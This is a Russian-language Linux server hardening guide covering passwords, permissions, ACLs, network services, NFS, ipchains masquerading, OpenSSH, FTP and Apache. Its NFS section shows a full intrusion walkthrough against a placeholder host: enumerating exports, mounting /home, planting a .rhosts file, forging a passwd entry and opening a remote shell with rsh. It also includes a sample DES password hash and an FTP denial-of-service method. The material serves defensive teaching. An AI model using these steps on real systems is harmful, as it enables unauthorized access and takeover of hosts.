1. Контроль доступа
1.1. Пароли
1.2. Права
1.3. ACL
2. Безопасность в сети
2.1. Сервисы
2.2. NFS
2.3. Маскарадинг
2.4. OpenSSH
3. Безопасность в WWW
3.1. FTP
3.2. WWW
4. Дистрибутивы
5. Заключение
В последнее время практически все источники информации о компьютерной безопасности с завидной периодичностью сообщают о все новых "дырах" в защите Linux. Но так ли плохо обстоят дела в мире UNIX - подобных систем? Цель данной статьи - осветить основные проблемы безопасности и методы их устранения. При этом в качестве основной предпосылки выберем тот факт, что причиной возникновения "дыры" на 90 % является человеческий фактор - промахи в системе администрирования.
Контроль доступа
Пароли
Одна из задач администратора - выбор устойчивых паролей и разделение полномочий. Причем что касается паролей, то это могут быть не только login passwords, но и пароли, используемые, при аутентификации на почтовом сервере или в front-end приложении для доступа к базам данных (например, PostgreSQL). Основной совет - выбирайте пароли не менее 12-14 символов и меняйте их не реже чем раз в неделю, поскольку основная масса алгоритмов взлома основана на метода Brute Force, т. е. обычный перебор. Ни о каком вычислении гаммы в большинстве случаев речь не идет. И получается, что криптостойкость паролей в первую очередь зависит от вычислительной мощности взломщика.
Многоуровневая аутентификация также обеспечивает дополнительную защиту. Примером могут служить базы данных, например PostgreSQL. Данная БД располагает собственной системой контроля доступа к данным, которая включает в себя системные файлы и утилиты управления ими. Пароли хранятся в файле $PGDATA/passwd, структура которого повторяет /etc/passwd или /etc/shadow (если включено теневое хранение паролей (shadow)). Ниже приведен фрагмент $PGDATA/passwd:
john:/nB7.wAuq.BY:10020::::::
Применяется DES - алгоритм шифрования, обеспечивающий достаточную криптостойкость.
При многоуровневой аутентификации важен следующий принцип: данные объекта, подлинность которого проверяется, на каждом этапе идентификации должны быть независимы от данных на других этапах. В нашем примере с PostgreSQL это выглядит следующим образом. Пусть имеется пользователь john с паролем linux34suse62, UID в системе - 502. При открытии доступа данному пользователю к базе данных имеет смысл завести его под другим именем (например, smith), отказаться от присвоения ему системного UID и назначить другой пароль (i43love91windowss83).
Для контроля правильности выбора паролей существует ряд утилит, задача которых - попытка взлома. Эти утилиты могут сослужить неплохую службу, имитируя действия взломщика, получившего в свое распоряжение /etc/shadow. Из наиболее известных crack-утилит назову Crack5.0 и John The Ripper. Первая из них работает по словарям и информации, содержащейся в полях записей shadow - файла. Вторая реализует довольно быстрый алгоритм взлома системы шифрования One Way DES, применяемой в UNIX - системах.
Права
Даже правильно выбранные пароли не смогут защитить систему от самого опасного фактора - конечного пользователя. И здесь встает вопрос о правах на файлы и каталоги. Принцип "я - мы - другие" (т. е. "владелец - группа - прочие") позволяет достаточно гибко управлять доступом. Большинство дистрибутивов Linux уже после инсталляции достаточно корректно разграничивают полномочия. Также в большинстве случаев не возникает проблем при добавлении пользователей. Рекомендации по управлению правами доступа
- Домашний каталог пользователя не должен просматриваться другими пользователями
- Все пользователи должны иметь доступ в system - wide каталоги, такие как /usr/bin, /usr/local/bin, /sbin, /usr/X11R6/bin. Это позволит избежать конфликтов типа "Permission denied" при использовании таких широко используемых приложений, как например, find или mc
- Никогда не смешивать различные приложения в одном каталоге: это сильно усложняет администрирование
- Весьма полезно разделить пользователей по кругу решаемых ими задач, создать соответствующие группы и назначать права на группу в целом
- Провести анализ количества приложений, имеющих свойства suid и sgid. Например,
# find / -perm +2000 -o -perm +4000
/usr/bin/rlogin
/usr/bin/passwd
/usr/bin/rcp
/usr/bin/chsh
...
Свойства suid и sgid позволяют пользователю, запускающему данное приложение, получать права владельца данного приложения. Следует максимально уменьшить количество suid (sgid) приложений. Если системный администратор хочет действительно централизованно управлять сетью, то ни о каких правах на запуск rlogin, chsh и rcp не может быть и речи.
Данные принципы применимы как для рабочих станций, так и для сервера. Сервер можно поделить на зоны (возможно, непересекающиеся), соответствующие различным группам пользователей. Данная организация файлового пространства Linux - сервера, возможно, напоминает Novell NetWare.
Простое соблюдение правил разделения доступа может облегчить жизнь как пользователю, так и администратору. Например, в статье "Пароли пользователей в Netscape Communicator", опубликованной на HackZone, показано, как несложно вскрываются пароли для POP3 в почтовом клиенте Netscape. Пароли хранятся в файле /home/<your_home>/.netscape/preferences.js. Закрытие каталога пользователя обеспечивает его конфиденциальность (при условии, что взломщик не получил права root).
ACL
В настоящее время практически все коммерческие версии UNIX поддерживают расширенное управление доступом к файлам и каталогам. Для ext2 существует патч Extended Attributes & POSIX ACL for Linux, обеспечивающий предоставление прав на уровне отдельного пользователя и группы. На момент написания статьи этот патч был представлен версией 0.6.0-pre23 (beta) для ядер 2.2.15. Благодаря ему обеспечивается совместимость ext2 с POSIX 1003.1e.
Не вдаваясь в детали, на примере можно показать применение ACL:
# ls -l
total 1
-rw-r--r-- 1 dimitr itgroup 70 May 29 10:03 hello.cpp
# getfacl hello.cpp
file: hello.cpp
owner: dimitr
group: itgroup
user::rw-
group::r--
other:r--
# setfacl -m u:andrew:rw hello.cpp
# getfacl hello.cpp
file: hello.cpp
owner: dimitr
group: itgroup
user::rw-
user:andrew:rw-
group::r--
mask:rw-
other:r--
Как видно, для пользователя andrew установлены права на чтение и запись.
Безопасность в сети
Сервисы
Безопасная работа в сети (локальной, глобальной) была и остается темой для нескончаемого потока статей. Тем не менее при достаточно грамотной системе администрирования можно снизить риск вторжения практически до нуля.
Работа в сети подразумевает обращение ко многим сервисам: finger, dns, ftp, sendmail и т. д. Для начала следует проанализировать запущенные на машине сервисы и связанные с ними порты. # netstat -a
Active Internet connections (including servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 1 0 localhost:12653 localhost:www CLOSE_WAIT
tcp 0 0 * :6000 *:* LISTEN
tcp 0 0 * :1024 *:* LISTEN
tcp 0 0 * :22 *:* LISTEN
tcp 0 0 * :www *:* LISTEN
tcp 0 0 * :printer *:* LISTEN
tcp 0 0 * :login *:* LISTEN
tcp 0 0 * :ftp *:* LISTEN
udp 0 0 * :177 *:*
udp 0 0 * :syslog *:*
....
....
Состояние LISTEN говорит об ожидание сервисом запроса на соединение. В данном примере видно, что порт 6000 прослушивается X-сервером, 22 - ssh, 21 - ftp и т. д. Чтобы однозначно определить соотношение порт - сервис, необходимо просмотреть файл /etc/services. Для просмотра запущенных сервисов можно воспользоваться nmap.
После этого необходим анализ, какие сервисы РЕАЛЬНО используются. Например, Samba, активно применяется в гетерогенных средах типа Windows + Linux. Однако Samba - одно из самых слабых мест в защите (cтанции под Windows при работе с Samba должны использовать NetBIOS поверх TCP/IP, достаточно просто получить список share - ресурсов и т. д.) Переход на NFS избавит администратора от ряда проблем (однако, добавятся новые - см. ниже).
Определение запускаемых сервисов должно зависеть от круга решаемых задач. Например, на WWW-сервере вряд ли будет уместен GNOME, а рабочей станции - ftpd. Кроме того, уменьшение числа запущенных демонов разгрузит CPU и освободит память. Убрать неиспользуемые демоны можно, запустив setup и выбрав опцию "System services".
К рекомендациям общего характера можно отнести следущее: не используйте X на серверах. Применение GNOME чревато последствиями: gdm прослушивает 177 UDP порт, DoS атака на который приводит к подвешиванию gdm, причем взломщик получает права root. Проблема устраняется изменением в /etc/X11/gdm/gdm.conf в секции [xdmcp] параметра Enable на 0. Опасность представляем также X в целом. DoS на порт 6000 TCP в XFree86-3.3.5, 3.3.6 и 4.0 приводит к "замораживанию" машины. Лечится перекомпиляцией без определения #define XCSECURITY, а для "dialup users" - запуском с ключом -nolisten tcp.
NFS
Как уже говорилось, одной из потенциальных дыр в Linux является NFS. Ниже приведен пример атаки, успех которой очевиден из-за ошибки предоставления доступа к NFS - ресурсам: ! Просмотр RPC - сервисов
hacker> rpcinfo -p target.remote.com
.........
100000 2 tcp 111 portmapper
100000 2 udp 111 portmapper
100000 1 tcp 8231 mountd
100000 1 udp 821 mountd
100003 2 udp 2049 nfs
100003 2 udp 2049 nfs
! Поиск каталогов, доступных через NFS
hacker> showmount -e target.remote.com
Export list for target.remote.com
/home Everyone
/work john smith
! Монтируем каталог
hacker> su
# mount -t nfs target.remote.com:/home /mnt
# cd /mnt
# ls -ldg *
drwxr-xr-x 10 257 20 1536 Apr 10 01:45 lamer/
! Устанавливаем .rhosts у пользователя lamer
! копированием заранее подготовленного файла
! Создаем пользователя lamer
! Становимся им и заходим на удаленную машину
# echo crack.edu > lamer/.rhosts
# cat >> /etc/passwd
lamer::257:20::/:
^D
# su - lamer
lamer> rsh target.remote.com /bin/csh -i
Warning! No access to terminal, job control disabled!
! Каталог доступен на запись
% ls -ldg /usr/etc
drwxrwxr-x 10 bin bin 1536 Apr 10 01:45 /usr/etc
Дальше продолжать нет смысла - создается троянец, и взломщик получает полный контроль над удаленным хостом.
Обязательно указывайте в NFS /etc/exports хосты, которым разрешено монтирование, при этом использование опции no_root_squash нежелательно. Данная мера не защищает при атаке с помощью IP-spoofing или DNS-spoofing, однако вероятность удачного взлома несколько снижается. Причина такой слабой защищенности NFS находится в системе аутентификации, согласно которой проверка пользователя осуществляется на основании его IP-адреса при монтировании. Пользователю передается идентификационный ключ (magic cookie), включаемый во все последующие RPC-запросы и не изменяющийся до момента размонтирования.
Маскарадинг
Одним из мощнейших механизмов защиты в Linux является маскарадинг. Для его включения необходимо перекомпилить ядро с опциями
CONFIG_FIREWALL=y
CONFIG_IP_FIREWALL=y
CONFIG_IP_FIREWALL_NETLINK=y
CONFIG_IP_ALWAYS_DEFRAG=y
CONFIG_IP_TRANSPARENT_PROXY=y
CONFIG_IP_MASQUERADE=y
CONFIG_IP_MASQUERADE_ICMP=y
После этого добавьте в /etc/rc.d/rc.local например, следующее (типовая защита от ping, IP-spoofing):
# Адрес локальной сети
mynet=10.0.0.0/24
# Защищаемый интерфейс (eth, ppp и т. д.)
iface=ppp+
# отказ в X11, lpd
tcp="6000:6010 515"
# отказ в xdmcp,NFS;
udp="177 1355 2049"
# удалить старые правила
/sbin/ipchains -F input
/sbin/ipchains -F forward
/sbin/ipchains -F output
# Правила IP - маскарадинга
/sbin/ipchains -N user_msq
/sbin/ipchains -F user_msq
/sbin/ipchains -A user_msq -s 0/0 -d 0/0 -j MASQ
/sbin/ipchains -A forward -s $mynet -d 0/0 -i $iface -j user_msq
/sbin/modprobe ip_masq_ftp
# Запрещение ping
/sbin/ipchains -A input -l -i $iface -p icmp -s 0.0.0.0/0 echo-request -j DENY
# изменение параметров TOS
/sbin/ipchains -A output -p tcp -d 0.0.0.0/0 telnet -t 0x01 0x10
/sbin/ipchains -A output -p tcp -d 0.0.0.0/0 ftp -t 0x01 0x10
/sbin/ipchains -A output -p tcp -s 0.0.0.0/0 ftp-data -t 0x01 0x08
# Запрет IP-spoofing
/sbin/ipchains -A input -i $iface -s $mynet -l -j DENY
# Все остальные блокировки
for p in $tcp ; do
/sbin/ipchains -A input -p tcp -i $iface -s 0/0 -d 0/0 $p -j REJECT
done
for p in $udp ; do
/sbin/ipchains -A input -p udp -i $iface -s 0/0 -d 0/0 $p -j REJECT
done
Из-за ошибок ядра маскарадинг обходится в SuSE Linux 6.1-6.4 (ядра < 2.2.15). Патчи доступны здесь.
OpenSSH
В случае использования удаленных соединений необходимо позаботиться о безопасности передаваемых данных. Стандартные средства rlogin, rcp, telnet и т. д. не обеспечивают необходимый уровень криптостойкости. При использовании вышеперечисленных программ пароли передаются в незашифрованном виде и могут быть перехвачены любым анализатором траффика, например, snort'ом.
Наиболее распространенным средством защиты удаленных соединений является OpenSSH, шифрующий весь траффик (включая пароли). Этим обеспечивается эффективное противодействие атакам типа захват соединения или прослушивание. OpenSSH включает в себя ssh (заменяет rlogin и telnet), scp (заменяет rcp и ftp). На стороне сервера запускается демон sshd. Также в пакет входит генератор ключей ssh_keygen. OpenSSH использует алгоритмы шифрования 3DES (тройной DES) и BlowFish (быстрое блочное шифрование). Процесс шифрования стартует перед началом аутентификации. Наряду с траффиком консоли шифрованию подвергаются данные, пересылаемые с удаленных дисплеев X11. Сервер устанавливает DISPLAY и пересылает любые соединения X11 по безопасному каналу.
Методика аутентификации OpenSSH достаточно сложна: на основе .rhosts и RSA, симметричных ключей, а также Kerberos. Для обмена ключами во время сеанса на рабочей станции запускается агент. Удаленный пользователь получает ключи при установлении соединения с сервером, таким образом, отпадает необходимость в хранении ключей на удаленной машине.
OpenSSH 2.0 поддерживает протоколы версий 1.3 и 1.5, что позволяет организовывать защищенные каналы со всеми коммерческими версиями ssh под UNIX, Windows и т. д. Протокол версии 2.0 вместо алгоритма RSA использует более устойчивый - DSA. Следует отметить, что перед шифрованием происходит компрессия передаваемых данных, повышая тем самым скорость передачи данных на медленных коммутируемых линиях.
На момент написания статьи была доступна версия OpenSSH 2.1. Безопасность в WWW
FTP
FTP-серверы представляют собой потенциальную дыру в системе безопасности сети. Поэтому если не планируется организация архивов, библиотек, т.е. хранилищ данных, доступных для широкого доступа, лучше не запускать FTP-сервер вообще. Однако данный сервис широко распространен, поэтому его безопасности необходимо уделить самое пристальное внимание. Следует сразу заметить, что все FTP-серверы уязвимы в той или иной степени. Но различия в реализации и конфигурации приводят в одних случаях к отказу от обслуживания, а в других - к полному контролю над хостом. Причем из-за особенностей протокола FTP могут быть поражены как серверы, так и клиенты.
Для начала следует убрать tftpd. Данный демон позволяет организовывать передачу файлов без контроля над правами доступа. Для организации FTP-архива следует использовать стандартные серверы wu-ftpd или ftpd из дистрибутивов Linux (автор статьи в настоящее время применяет anonftp 2.8.1). Вообще наиболее желателен ftpd-BSD.
FTP серверы достаточно неустойчивы к DoS атакам. Например, ProFTPD и wu-ftpd можно "вырубить", попытавшись создать порядка 10 - 20 каталогов с длиной имени от 100 символов. Этому подвержены ftpd, идущие в RedHat 4.2 и 5.x.
Одной из проблем FTP-серверов является отсутствие проверки подлинности источника пакетов. Суть в следующем: при установке соединения сервер прослушивает один из TCP портов, сообщает его номер клиенту, после чего клиент открывает указанный порт и начинает передачу данных. Это так называемый пассивный режим. При активном режиме TCP порт назначает клиент, а сервер открывает соединение с порта 20 на порт, назначенный клиентом. Поскольку в процессе сеанса подлинность абонента не проверяется, то возможна атака следующего вида: на открытый порт периодически посылаются запросы на TCP соединение. Как только соединение установлено, происходит подмена клиента. Уязвимость к данной атаке демонстрируют все ftpd - серверы. Эксплоит доступен здесь.
WWW
Количество статей о безопасности WWW-серверов не поддается исчислению. Реализация наиболее популярного из них - Apache - под Linux не отличается от его версий под другие виды UNIX-систем, поэтому все нижесказанное применимо практически во всех OS. Автор статьи пользуется Apache 1.3.9 на платформе RedHat. По умолчанию Apache стартует под root и прослушивает 80 TCP порт. При поступлении запроса на соединение при помощи fork() порождается новый процесс, и сервер возвращается к прослушиванию порта. Новый процесс меняет ID пользователя на nobody. Все действия, связанные с обработкой запросов, такие как выполнение CGI-сценариев или SSI, выполняются под nobody.
Для удобства администрирования лучше создать для запуска httpd пользователя www (и группу www) и назначить ему домашним каталогом корневой каталог дерева документов. Ниже приведен пример дерева документов с указанием прав доступа
drwxr-xr-x 5 www www 1024 Aug 8 00:01 cgi-bin/
drwxr-x--- 2 www www 1024 Jun 11 17:21 conf/
-rwx------ 1 www www 109674 May 8 23:58 httpd
drwxr-xr-x 2 www www 1024 Aug 8 00:01 htdocs/
drwxr-xr-x 2 www www 1024 Jun 3 21:15 icons/
drwxr-x--- 2 www www 1024 May 4 22:23 logs/
В каталоге htdocs все файлы должны иметь атрибуты "только чтение".
Достаточно эффективной является применение команды chroot, изменяющей корневой каталог. Для этого необходимо создать отдельный каталог или целую файловую систему, например, при помощи mke2fs, в которой разместить все необходимые share-библиотеки, Perl , а также дерево документов. В скрипт запуска httpd добавьте строку
chroot /path/to/new/root /server_root/httpd
Теперь при запуске сервера происходит смена корневого каталога, и Apache начинает работать в "песочнице", полностью изолированный от остальной файловой системы. Метод "песочницы" достаточно хлопотен и сложен в плане организации, однако вполне оправдывает себя.
Зачастую WWW-сервер должен предоставлять доступ к определенным каталогам и файлам с использованием процедуры аутентификации. Сделать такой доступ в Apache достаточно просто как на основе проверки IP-адреса, так и с помощью создания учетной записи пользователя. Добавьте в access.conf нечто подобное:
<Directory /полный/путь/к/каталогу>
<Limit GET POST>
order mutual-failure
deny from all
allow from 215.100.2.76
allow from .com
</Limit>
</Directory>
Этим обеспечивается доступ только из домена .com или с хоста 215.100.2.76
Добавьте пользователя и введите его пароль
www> htpasswd /путь/к/файлу/паролей имя_пользователя
В access.conf добавьте что-то похожее на
<Directory /полный/путь/к/защищенному/каталогу>
AuthName имя.Вашего.сервера
AuthType Basic
AuthUserFile /usr/local/etc/httpd/conf/passwd # как вариант
<Limit GET POST>
require valid-user
</Limit>
</Directory>
Теперь что касается вопроса разделения дерева документов httpd и ftpd. Никогда не приравнивайте корневые каталоги этих двух серверов! Несоблюдение этого правила может привести к печальным последствиям (взлом apache.org). FTP каталог был приравнен к WWW, причем на FTP были каталоги с правами rwxrwrwx. Наконец, сервер MySQL был запущен от root (прим.-в PostgreSQL такой номер не проходит). Действия взломщика были очевидны: копирование на ftp скрипт, выполнение его под Apache, получение прав root.
Дистрибутивы
На сегодняшний день основными дистрибутивами Linux являются RedHat, Debian и Slackware. Все остальные строятся на базе этих трех. Что же касается безопасности, то единого правила выбора дистрибутива нет. Наиболее безопасным будет тот, который подходит именно Вам. В конечном итоге пропатченный Linux с ядром, собранным для решения конкретной задачи, позволит администратору добиться безопасной работы в сети. Автор в настоящее время пользуется Gentus Linux 2.0 (на базе RedHat 6.1), kernel 2.2.13, и причин для недовольства не испытывает.
Существуют дистрибутивы, призванные облегчить жизнь админу, например, Nexus Linux. Достаточно сложная в установке и настройке, как сообщается в пресс-релизе, Nexus обеспечивает высокую степень безопасности: каждый процесс запускается в отдельном окружении ("мини-песочница"); новое понятие - распределенное администрирование, когда права root могут распределяться между несколькими администраторами, тем самым исключаются столь высокие привилегии суперпользователя. Nexus поставляется в виде исходных текстов и собирается на машине пользователя.
С точки зрения анализа безопасности наибольший интерес представляет Trinux (Security ToolKit), поставляемый на 1-2 дискетах. Существует огромное количество tools под Trinux - от детектора OS до сканера портов.
Заключение
Грамотно организованное администрирование решает практически все проблемы безопасности. Возможно, многие из мер покажутся слишком суровыми для пользователей, однако при организации работы для администратора на первом месте должен быть принцип "Лучший пользователь - тот, который следует политике, которой следуете Вы".
